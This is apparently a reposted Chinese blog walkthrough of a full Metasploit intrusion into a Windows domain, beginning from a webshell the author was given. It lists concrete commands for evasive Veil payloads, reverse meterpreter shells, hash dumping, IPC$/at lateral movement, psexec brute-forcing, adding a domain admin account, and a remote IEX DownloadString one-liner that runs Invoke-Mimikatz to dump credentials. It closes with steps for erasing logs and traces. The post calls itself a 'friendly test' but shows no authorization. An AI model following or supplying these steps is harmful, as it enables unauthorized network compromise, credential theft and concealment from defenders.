9、Metasploit域渗透测试全程实录

前期准备:


1. 使用Veil生成免杀PAYLOAD

2. 有一个外网IP的服务器,安装好metasploit,方便操作

一.Shell反弹meterpreter

上传免杀的PAYLOAD到SHELL(有时候会碰到EXE文件上传不了,可以使用powershell的meterpreter模块“XX.bat格式”来实现),然后在菜刀或者WEBSHELL下面运行,反弹成功。

 

二.提权

反弹成功后第一步就是getuid看权限,然后尝试提权,有以下几种方法

1.利用漏洞模块提权,如ms15_05之类
2.令牌假冒
3.绕过Windows账户控制,比如Bypassuac提权
4.HASH攻击
如果服务器没有提权成功也不要紧,可以以此服务器为跳板,攻击内网其它服务器
 
好吧,我是system权限,就不用提权了,直接抓HASH吧!
1.使用WCE和MIMIKATZ(这2个工具必须要管理员的权限,而且注意工具的免杀)
2.使用MSF的hashdump模块,一个是hashdump,只能导出本地hash,另一个是smart_hashdump(必须是管理员权限),可以导出域用户的hash
3.使用Powershell模块直接导出


 

三.信息收集

1.ipconfig /all
2.net view /domain                                         查看有几个域
3.net view /domain:XXX                                  查看此域内电脑
4.net group /domain                                       查询域里面的组
5.net group “domain admins” /domain        查看域管理员
6.net group “domain controllers” /domain     查看域控制器
7.net group “enterprise admins” /domain      查看企业管理组
其他还有很多,网上可以一搜一大把,大家可以都试试

 
 
 
 
此时我们大概清楚了该内网的大概拓扑,知道域服务器是10.48.128.20

四.分析下一步攻击方向

分析下此时情况,我们已经获取了一个服务器的密码。我们第一目标当然是域服务器,此时有两种情况,当前服务器可以连接域服务器和不可以连接域服务器

A.如果不能直接攻击域服务器,我们需要再攻击内网某个服务器,然后再攻击域服务器

1.我们可以利用抓到的密码加上我们收集的信息编个字典,然后添加路由进行弱口令的扫描
2.使用p**ec爆破整个局域网或者反弹meterpreter
3.利用smb_login模块扫描内网
4.利用当前权限,用WIN下面的P**ec进行内网渗透
5.使用powershell对内网进行扫描(要求WIN7以上服务器)
6.架设socks4a,然后进行内网扫描
7.利用当前权限,进行内网IPC$渗透
B.可以直接攻击域服务器

五. 攻击域服务器

我们这次是可以直接攻击域服务器的,所以我们用最简单的方法IPC$渗透先试试

 
失败了
我们再用WIN下面的P**ec试试

 
又失败了,不应该啊,我们再仔细分析下,加上域名试试
 
看,成功了,我们net use可以看到已经成功连接上了
Net use \\ip\c$
Copy sd.exe \\ip\c$  (其中sd.exe是VEIL生成的meterpreter)
Net time \\ip
At \\ip time c:\sd.exe

具体看截图


 
然后exit到meterpreter,设置meterpreter>background,
设置监听,等待反弹

 
可以看到,已经反弹成功了,我们看下IP地址是不是域服务器的
 
我们已经成功的获取了域服务器的meterpreter,看下权限getuid
 
好吧,我们是system权限,就不用提权了,为了使meterpreter shell更稳定和更隐蔽,先把meterpreter shell程序进程迁移到EXPLORE进程
PS 获取一系列的运行进程,使用migrate PID ,然后KILL掉原来的进程


 
我们接下来抓HASH,可以用Mimikatz也可以用run post/windows/gather/hashdump
PS:我们在用Mimikatz抓HASH之前要注意一点,如果服务器是安装的64位操作系统,要把Mimikatz进程迁移到一个64位的程序进程中,才能查看64位系统密码明文。32位系统没有这个限制,都可以查看系统密码.
这里为了方便,我们使用hashdump来抓hash,run post/windows/gather/hashdump        

 

失败了,权限不够,我们看下自己的权限,因为刚才迁移PAYLOAD进程时候,EXPLOR是administrator权限,我们getsystem,再抓,见图,成功了


 

六.SMB快速扩张控制权限

参照第4步,这里我们使用p**ec爆破内网或者利用smb_login模块爆破内网
1.msf 添加路由 route add ip mask sessionid
2.smb_login模块或者p**ec_scanner模块

 

查看爆破成功的机器 creds
 
最后我们看一下session控制图
 

七.擦PP

所有操作完成后,一定要记得清理下痕迹
1.删除所有使用的工具
2.删除所有操作记录
3.关闭所有的meterpreter


 

小结

内网 渗透测试 资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。相关知识点总结如下:

  • 免杀payload的生成,请使用Veil
  • msf在meterpreter下的提权尝试
  • msf在meterpreter下的bypassuac尝试
  • 内网渗透测试过程中的信息关联
  • meterpreter的路由添加以及相关扫描
  • Powershell在meterpreter下面的使用
  • Meterpreter的post模块使用
  • Msf的custom自己生成的payload的使用
  • 进程注入窃取令牌

其实重点不在于知识的多少,大家只需关注比较重点的连接点。分享为了方便大家以后一起交流,一起学习,一起进步。首先shell是别人给我的,也不是这里介绍的重点,所以在此忽略。

渗透测试的环境详细如下:
A 堡垒机(webshell所在机器):windows server 2012
B 堡垒机:windows 2008(powershell扫描机器)
C 堡垒机:有域管理进程的机器windows server 2012
D 堡垒机若干


第八步 Poershell获取域控管理员在线的机器

内网渗透测试不得不说到两大神器:msf和powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。

首先来讲讲powershell的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,一般使用到的模块有下面三个:
1 Empire据说是神器,也确实是神器,我没使用过,暂时不多说
2 PowerUp 据说提权神器,也确实是神器,我很少使用。也暂时不多说
3 PowerView 据说是域渗透神器,也确实是神器,我一直用,非常漂亮

来说说powershell的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,主要有三种方式来调用:

1 当然是下载到本地执行,详细使用方法如后面连接:powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

2 第二种方式是把powershell文件上传到堡垒机本地执行,  powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"

3 上传到对方本地,然后Import-Module导入,使用

PowerView的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。如果你能看到这里开始你的powershell之旅,内网将开始变得简单。

 
废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。Powerview中的Invoke-UserHunter是获取当前域管理员在线登录的机器。这次的旅程我们就用它来完成进一步的信息获取。详细如下图:

 

第九步 域控管理员权限的获取(windows2012权限)

在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。神器过后还是神器,又见它windows server 2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。

目前来看看我们遇到的问题,通过powershell成功获取到相关的域控管理员在线的一台机器windows server 2012,并且用这台机器的权限,那么接下来我们去搞定域控。思路如下:
1 修改注册表等待域控管理员再次登录来抓取(黄花菜都会凉的)
2 通过PowerUp的进程来注入获取域权限(没使用过暂时放弃),当然此处也可以写类似外挂的功能注入进程获取权限
3 msf的令牌窃取功能(这个可以很容易实现)

知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:
1 同样使用ipc经典入侵手法,反弹meterpreter,
    Getsysttem 权限
    Ps 查看域管理所在的进程
    Migrate pid注入进程
2 继续经典的IPC$到域控
    Meterpreter下面shell
    Net use \\域控ip\c$
    Net time \\域控ip
    Copy bat.bat \\域控ip\c$
    At \\域控ip time c:\bat.bat(意料之外的错误,提示schtasks.exe,不熟)
3 通往成功的路不只有一条,添加域管账户
    Net user demo demo /ad /domain
    Net group “domain admins” demo /ad /domain

    到了此刻,我们已经拥有域管权限了。详细的截图如下:

 

图9-1 注入域管进程,连接域控

 

图9-2 添加域管理账号


图9-3 查看域管理是否成功

第十步 域控我来了(msf p**ec反弹shell)

一看时间,凌晨七点了,早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了,域控的权限也终于到了了。
先将思路,登录域控其实有很多方式的,下面我说一下我能知道的几种吧,相信大
家也大家也都知道的:
1 端口转发或者socks登录域控远程桌面
2 登录对方内网的一台电脑使用p**ec来反弹shell
3 使用msf的p**ec反弹meterpreter

反弹需要注意要用到的知识,我们这里采用的是pse**c来反弹meterpreter,其中涉及到的知识如下:
1 msf中p**ec模块的使用
2 cuestom模块的使用,配合meterpreter,在payload不免杀的情况下如何使用自己Veil生成的payload
详细的使用过程如下图:

 
图10-1 p**ec执行测试

 
图10-2  p**ec默认反弹不成功

 
图10-3 meterpreter的https模块反弹成功

 
图10-4 域控的系统信息

第十一步 Meterpreter获取所有用户的hash

有了域的权限之后,如果我们还想进行深层次的控制,那么dumphash是必不可少的。首先来看看我们需要的知识:
1 msf有两个模块可以使用,一个是hashdump,此模块只能导出本地的hash,大家测试就可以知道了,另外一个是smart_hashdump,此模块可以用来导出域用户的hash.
2 powershell有可以直接导出的模块,大家自行尝试一下
3 wce,mimikatz等神器的使用

在这里我采用的是msf的smart_hashdump的模块。在此需要注意的是要想使使用此模块导出hash,必须要使用system的权限才行。详细的过程如下图:


 
smart_hashdump模块的使用

第十二步 曲折的探索之路

这里是整理一下之前用到的一些技术,和走过的一些弯路。文档到这差不多算是完成了一个从webshell到域控的探索之路算是完成了,当然在这里我把过程中走的一些弯路还有不足点指出来,欢迎大家的指正,共同学习

 
图12-1 session控制图
根据上面的图知道,我现在控制的Session一共有5个,其中有四个是必须要获取的,分别为session1,session2 session4,session5。其中session1为webshell反弹所获得,第二个session2是信息分析获取到的,,session4为获取域管理员所获取,session5为域。其中session3就是我所走过的弯路,浪费了时间。之后我们必须为了更好更快速有效的完成渗透测试,平时努力练剑。尽力做到不出剑则已,出剑则见血。


第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理)

作为一次比较成功的友情测试,我们必须要做到来无影,去无踪。所以收尾工作,也将悄悄展开。涉及到相关的知识点:
1 删除之前添加的域管理账号
2 删除所有的使用过程中的工具
3 删除自己所有的操作记录
4 关闭所有的meterpreter

在此过程中我们一共上传了两个文件,一个bar.bat,一个64位的mimikatz抓密码工具,直接删除即可。

 
图13-1 删除用户

 

图13-2 关闭所有的session

总结

总结说点什么好呢。还是先喊口号吧------“求妹子,求师傅,求神器”。感谢三年多以来为我默默分享的师傅们,感谢妹子在我做这次友情测试的时候,她一直静静的陪在我这边,感谢这些年求来的各种神器,没有这些资源的支持,我将不会完成这次的友情测试。作为一名渗透测试爱好者,我们一直在努力的追求着心中那个美丽的梦想;作为一名程序员,我们就是想简单的coding。人生如此美好,大家何不联手,一起分享美好。

猜你喜欢

转载自blog.csdn.net/fly_hps/article/details/80642082
今日推荐